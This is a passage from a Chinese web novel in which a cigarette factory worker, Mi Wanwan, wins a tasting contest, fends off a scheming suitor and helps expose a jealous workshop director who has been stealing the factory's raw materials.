“怎么可能不一样,”叶芳菲信誓旦旦,她了解到的绝对不会有问题,“总之,你就按照我说的。到地方后,提出关键性的建议。”
“你只要能活着回来,就能升职。”叶芳菲笃定地说,因为这次任务死伤
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惨重,回来的人基本上都升了职。
如果姚大勇能够在这个过程中,表现一下,那就更不用说了。
姚大勇本能地觉得这事有点不对劲,但看着叶芳菲笃定的样子,很快就放下那点不对劲,选择相信。
他们正是如胶似漆的时候,姚大勇乐意宠着她。至于叶芳菲和周哲之前弄出来的事,姚大勇心里虽然有点膈应,但有了这样的事情,以后也能更好地拿捏叶芳菲。
一个月后,谢宴清出发前往月国边境,觅婉婉在省城参加香烟评吸大会。临行没有见到谢宴清,觅婉婉有点想他。
不过很快觅婉婉的注意力就被香烟评吸大会吸引了,她没有参加过,格外好奇。
评吸会的现场坐满了人,上首是几十名专家,根据指标一一打分,点评香烟。
“这次大会的冠军是,溪城卷烟厂!”
评委会念出这句话的时候,觅婉婉和刘为民、翟良策一样,非常激动,谁不希望自己的付出得到认可呢。
“厂长,这次婉婉可是立了大功,要发奖金吧?”刘为民是个实在的领导,实实在在为员工谋福利。
翟良策:“那是自然,我管着卷烟厂,厂里就是奖罚分明的。”
出差辛苦,厂里体谅员工,难得给觅婉婉放了两天假。得了奖金又有了假的觅婉婉开心回到家中,看到大门上的锁时,心情一下就低落起来。
打开门,里面空无一人,房间和客厅还落了点灰,显然是好几天没有人气了。
在省城时尚不觉得,回到家后,孤独感瞬间笼罩住觅婉婉。她打起精神,打扫了一下屋子。
一个人吃饭,一个人睡觉,一个人上山。明明前世自己一个人活了三十年也没感到孤独,觅婉婉不明白她跟谢宴清结婚之后,怎么就变得那么怕孤独。
好在让人高兴的事情是一件加上一件的,草药田里的药草长得很好,山里的养殖基地中,鸡鸭又大了一圈,厂里给她升了级别,涨了工资......
最让人高兴的要数杨月苓给她带来了服装店一个月的分成,足足两千五百六十块钱,惊得觅婉婉下巴都要掉了。
“瞧你那点出息,”杨月苓顶顶看不上她没出息的样子,“早就说了,让你跟着本小姐一起开店,你非要在卷烟厂当工人。”
“你不愧是本小姐的朋友,脑子就是好用。竟然想出了两个店面,一个卖高端衣物,一个卖廉价亲民的衣服。现在两家店都爆火,我忙得都没时间在广市逛街了,光是去挑选衣服就累死了。”杨月苓嘴上抱怨着,脸上却带着笑。
觅婉婉立马狗腿地帮杨月苓按肩,“还得要月苓你眼光好啊,要不是你挑的衣服好看,我再聪明,想出再好的点子也没用!”
杨月苓满意地点头:“那是!”
两个人聊了几个小时的天,一起去国营饭店吃了饭,回家的时候,唯一一件不好的事情就发生了。
“婉婉,好久不见。”薛高进又带着假笑,出现在觅婉婉和杨月苓面前。
杨月苓柳眉一竖,喝道:“哪里来的癞蛤蟆想吃天鹅肉?你搭讪的方式也太老套了,什么好久不见。”
薛高进脸上的假笑瞬间就挂不住了,觅婉婉忍了又忍,终究是没忍住,笑了出来。
49. 破例
“婉婉不是什么你可以随便攀附的人,首先,她是军属。最重要的是,她是本小姐的朋友,你去打听打听,我爸是谁,看你还敢招惹本小姐的朋友不。”
杨月苓趾高气昂地说完,拉着觅婉婉的手就走。不得不说,觅婉婉太喜欢杨月苓了,看到薛高进被她几句话说得脸上的表情五彩纷呈的时候,简直不要太爽。
站在磨盘街口的蔡高进风中凌乱,被她怼得气愤不已,却又不敢说话。这人一看就来头不小,万一得罪了,蔡高进没法收场。
回到家后,天色已经完全暗下来,觅婉婉洗漱一番后,回到房间。谢宴清不在,她又恢复了点红烛睡觉的习惯。
躺在床上,觅婉婉百思不得其解,蔡高进缠着自己不放,到底在图什么。总不能真是图自己这个人吧,这是绝对不可能的。
如果蔡高进对原身有感情,不可能回城之后这么久才过来装深情,显然只是想利用原身对他的感情。再加上叶芳菲看起来脑子不是很好用,觅婉婉轻易地推断出他们背后有人唆使。
至于这个人是谁,也很好猜,林溪,原书中最有心机的女配。
兵来将挡水来土掩,现在是敌在明她也在明,觅婉婉自信能应付得来这些魑魅魍魉。
她本来以为对方会接着动作,没想到接下来一个月的时间,觅婉婉过得异常平静且充实。每天上班、下班,顺便兼顾其余的事业。
另外,谢宴清也没有回来。想他的时候,觅婉婉喜欢去他们乱来的山谷,就是太安静了。安静下来的话,觅婉婉会更想谢宴清。
于是她总跑到小溪里去抓鱼,抓到鱼就回家做鱼汤喝,或者跟吕婶子、王桂苗他们一起吃烤鱼。
与此同时,溪城卷烟厂接二连三发生祸事,先是玉城卷烟厂一直抢溪城卷烟厂的订单,后是厂里的原材料连续两次失窃,包括烟叶、包装材料和金色的滤嘴等。
包装材料和滤嘴虽然是进口、上面批量供应的,但想办法找其他单位周转一下,也不是没有办法。麻烦的是烟叶,原材料没有了,怎么搞生产呢。
连续几天,翟良策都在召集卷烟厂的管理层们开会,应对这波危机。觅婉婉现在是小组长了,管理层中最小的。
“这些事情,大概率都是玉城卷烟厂搞出来的。尤其是烟叶丢失,他们这是在玩釜底抽薪。除此之外,我们厂里恐怕有人配合他们。”觅婉婉一阵见血地指出问题。
“无凭无据地,本来现在厂里就人心惶惶,你还让大家互相怀疑,安的什么心?”二车间主任李利国脸色黑如锅底,率先对觅婉婉发难。
木秀于林风必摧之,觅婉婉最近在厂里风头太盛,早就引得有些人不满,纷纷附和起来。
“都什么时候了,你们不想着解决问题,反而针对一个小姑娘。你们对厂子,还有没有点责任心了?”刘为民痛心疾首,大声吼道。
“刘老,我们都知道觅婉婉是您一手提拔起来的。可一码归一码,如今厂子可是面临生存危机,您不能让她乱来啊。”在坐的某位领导就说话了。
“就是就是,生死存亡的关头,内部互相猜忌,岂不是死得更快。”另外一个领导又说道。
......
很快,会议的主题就围绕着觅婉婉展开,完全偏离了这次开会的本意。觅婉婉冷眼旁观,这群人压根就不在乎厂子的死活,更在意手中的权利,生怕别人分了他们手中的权。
或者说,几十年稳坐钓鱼台的他们,根本不觉得这次的危机算什么,至于生死存亡,趁机给觅婉婉扣帽子而已。
“觅婉婉同志升职的决定是我做的,你们如果有什么意见,尽可以向上面举报。在这之前,通通给我闭嘴!”·翟良策的声音不大,说出的话却掷地有声。
大家都不敢说话了,这位新厂子来好几个月了,他们想尽办法都没把人挤兑走。可见背后实力之一般,加上他现在是老大,在没有足够的把握让人下来之前,谁都不敢跟翟良策撕破脸。
于是会议终于回到正轨上,开始讨论厂里的生产和应对玉城卷烟厂侵吞市场份额的事情。
会议结束之后,刘为民把觅婉婉叫到他单独的办公室,“今天在会上,你为什么那么说?”
觅婉婉:“因为我觉得在,他们还会接着行动的。”
溪城卷烟厂出的事情越多,对玉城卷烟厂越有利。最重要的是,像丢原材料这种事情,没有本厂的工人配合,外人根本做不到。
刘为民自然清楚这一点,只是私心里,他和会上的那些人一样,不愿意怀疑自家工厂的工人。他无法理解对方的想法,怎么会有人做这样损人不利己的事情。
“只有把那个人找出来,才能从根源上解决问题。”觅婉婉见刘为民面露犹豫之色,补充了一句。
刘为民闭上眼睛,叹了一口气,再睁开眼睛时,里面已经只剩下了锐利和冰冷,“那就把他引出来!”
会议的第二天,翟良策召集全厂宣布:“为了应对这次危机,我特意向省里的领导申请,买了一台新的生产机器,有了它,我们生产香烟的速度可以大大加快。大家要有信心,我们一定会度过这次危机,打败玉城卷烟厂的!”
“好!”全厂的工人听说了,皆面露喜色,纷纷鼓掌。
新机器到厂之后,溪城卷烟厂的工人们有了希望,觅婉婉上班地时候发现工人们的精神明显更积极一些。
三天后,厂里通报,二车间主任李利国伙同他人盗窃厂内财务,被移交给公安机关。通报一出,全厂哗然,谁都想不到,李利国会做出这样的事情来。
觅婉婉也感觉很意外,虽然李利国在大会上针对她,但李利国是刘老一手带出来的人。这些年,始终站在刘老的身旁。
她原本以为,出问题的会是郑宏儒那边的人了。
对于刘为民来说,发现厂里的内奸是李利国,他甚
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至做出偷窃的事情来,就不仅仅是意外,而是遭受了众创。
在把李利国交给公安之前,刘为民单独问他:“你已经是车间主任,这到底是为什么?”
“厂里的机器,原来是为了钓我出来啊。”李利国自嘲一笑,“刘老,您真是喜欢觅婉婉呢。”
“我问你,为什么要这么做?”刘为民神色更为凝重,严肃地看着他。
李利国的笑容仍旧没有收敛,反正已经被抓了,“我已经是车间主任八年了,我还是车间主任,您说我是为了什么?”
权利熏心,刘老沉默了好一会儿,“你就这么耐不住性子吗?”
“我耐不住性子?哈哈~”李利国大笑两声,言辞变得犀利,“我跟着您十几年了,还不够耐得住性子吗?”
“在觅婉婉没有出现以前,所有人都是这么熬着的,凭什么她不一样?如果她能让您破例,同样是您带出来的人,您为什么不为我破例?”
刘为民觉得头有点晕,他闭上眼睛,深吸了几口气。他想告诉李利国,他在书记的位置上何止熬了十几年。
他想说,觅婉婉有实力,更有运气,因为她碰上了翟良策这个不拘一格用人才的新厂长。到最后,刘为民什么也没说,他很清楚,李利国什么都听不进去。
世上没有不透风的墙,李利国因为嫉妒觅婉婉,做出里通外厂,吃里扒外的事情迅速在厂里传开。工人们大多觉得利利国罪有应得,也有不少人觉得觅婉婉确实升得太快了。
对此,郑宏儒敏锐地在其中找到了攻击翟良策的办法。
刘为民病倒了,连续好几天没有上班,觅婉婉找了一个休息日去看他,他整个人都病恹恹的。比这更严重的是,觅婉婉发现他似乎被抽走了大部分的精气神。
带在身边十几年的人,一朝背叛,觅婉婉能理解他现在的状态。
刘为民的爱人是个短发、气质利落的女人,她拉着觅婉婉到一边说:“我家这个老倔驴,面上看着凶,实际上比谁都重感情,你帮我劝劝他。”
觅婉婉想了想,干脆把刘为民带上了山。
“刘老,您看那一大片药田,都是我和吕婶子,还有几个孩子一起种的。里边最珍贵的,要数重楼,等它七年后成熟,我可以卖至少一千块钱一斤。还有三七,那是止血的良药,也不便宜呢。”觅婉婉带着他去看自己的药田,又带着刘为民去了自己的养殖场。
“这些鸡鸭一个月以后就能卖了,到时候,我少不得又要赚一笔。对了,刘老,我还在附近的荷塘养了小龙虾呢,我带您去看看,顺便摘点新鲜的莲子吃。”
到了荷塘之后,觅婉婉随便摘了几朵莲蓬,递给刘为民,自己也拿了一朵莲蓬,一边赏花一边剥莲子吃。
“好了,你这丫头,说吧,带我看这么多到底想说什么?”呼吸了山里的新鲜空气,刘为民的精气神明显好了很多,“总不能是向我炫耀你多有钱吧?”